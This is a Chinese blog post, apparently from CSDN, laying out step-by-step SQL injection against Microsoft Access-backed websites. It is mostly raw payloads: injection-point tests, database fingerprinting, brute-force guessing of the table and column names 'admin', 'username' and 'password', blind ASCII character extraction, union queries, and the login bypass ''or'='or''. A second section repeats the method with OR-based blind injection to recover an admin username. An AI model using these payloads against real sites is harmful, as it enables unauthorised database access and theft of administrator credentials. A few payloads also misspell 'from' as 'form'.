access注入思路

1.判断注入点
   '单引号    异常
   and 1=1    正常
   and 1=2    异常


2.判断数据库类型
   and (select count (*) from msysobjects)>0    access异常
   and (select count (*) from sysobjects)>0      mssql正常
    ACCESS的系统表是msysobjects,且在WEB环境下没有访问权限,
    而MS-SQL的系统表是sysobjects,在WEB环境下有访问权限。


3.猜解表名
   穷举查询
     and 0<>(select count(*) from 表名admin) 


4.猜解字段名/列名
   穷举查询
     and 0<>(select count(列名username) from admin)  
     and 0<>(select count(列名password) from admin) 


5.猜解字段长度
   穷举查询
     and (select top 1 len(username) from admin)>0
     and (select top 1 len(username) from admin)>1
     and (select top 1 len(username) from admin)>2
     and (select top 1 len(username) from admin)>3
     ......
     and (select top 1 len(password) from admin)>0
     and (select top 1 len(password) from admin)>1
     and (select top 1 len(password) from admin)>2
     and (select top 1 len(password) from admin)>3
     ......
     依次猜解字段长度>n,直到报错为止,说明字段长度=n

   排序查询:
     order by 1
     order by 2
     order by 3
     ......
     

6.猜解字段值
   穷举查询
     and (select asc(mid(username,1,1)) from admin)>0
     ......
     and (select asc(mid(username,2,1)) from admin)>0
     ......
     猜字段的ascii码值

   联合查询
     union select 1,2,3,4,5,6.... from 表名admin
     
   如果union查询返回数据对应列类型不同的话,在union前添加and 1=0:
     and 1=0      union select 1,2,3,4,5,6.... from 表名admin
   让前面的语句返回空,那么后面的无论是什么类型都不会出错!



7.万能密码
    'or'='or'



*******************************************************



or注入2:

1.判断注入点
   or 1=1
   or 1=2
  由于or的特性,当查询条件为真的时候,返回是异常的,当查询条件为假的时候,返回是正常的。
  "假是真时真是假"    

2.猜表名
   or exists(select * from admin)
  如果返回错误页面,说明存在admin表;如果正常,说明不存在admin表

3.猜列名
   or exists(select username from admin) 
  如果返回异常页面,说明admin表中含有username这个列

4.猜字段
   or (select top 1 asc(mid(username,1,1)) form admin)<123 
  判断manage表中username字段的第一条数据的第一个字符的ascii值是否小于123,提交后发现返回异常页面。

   or (select top 1 asc(mid(username,1,1)) form manage)>96 
  提交后发现返回异常页面,所以第一个字符的ascii值范围在97-122之间,也就是在字母a-z之间,再慢慢缩小猜解的范围直到猜解出来用ASCII转换工具转换一下就可以得到管理员用户名的第一个字符了。

需要猜解第二位的时候把上面语句改为mid(username,2,1),第三位mid(username,3,1)……如此类推。经过一番努力,得到username字段的第一条数据的ASCII值为97 100 109 105 110,转换得出字符串为admin。猜解完用户名还需要猜解密码
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值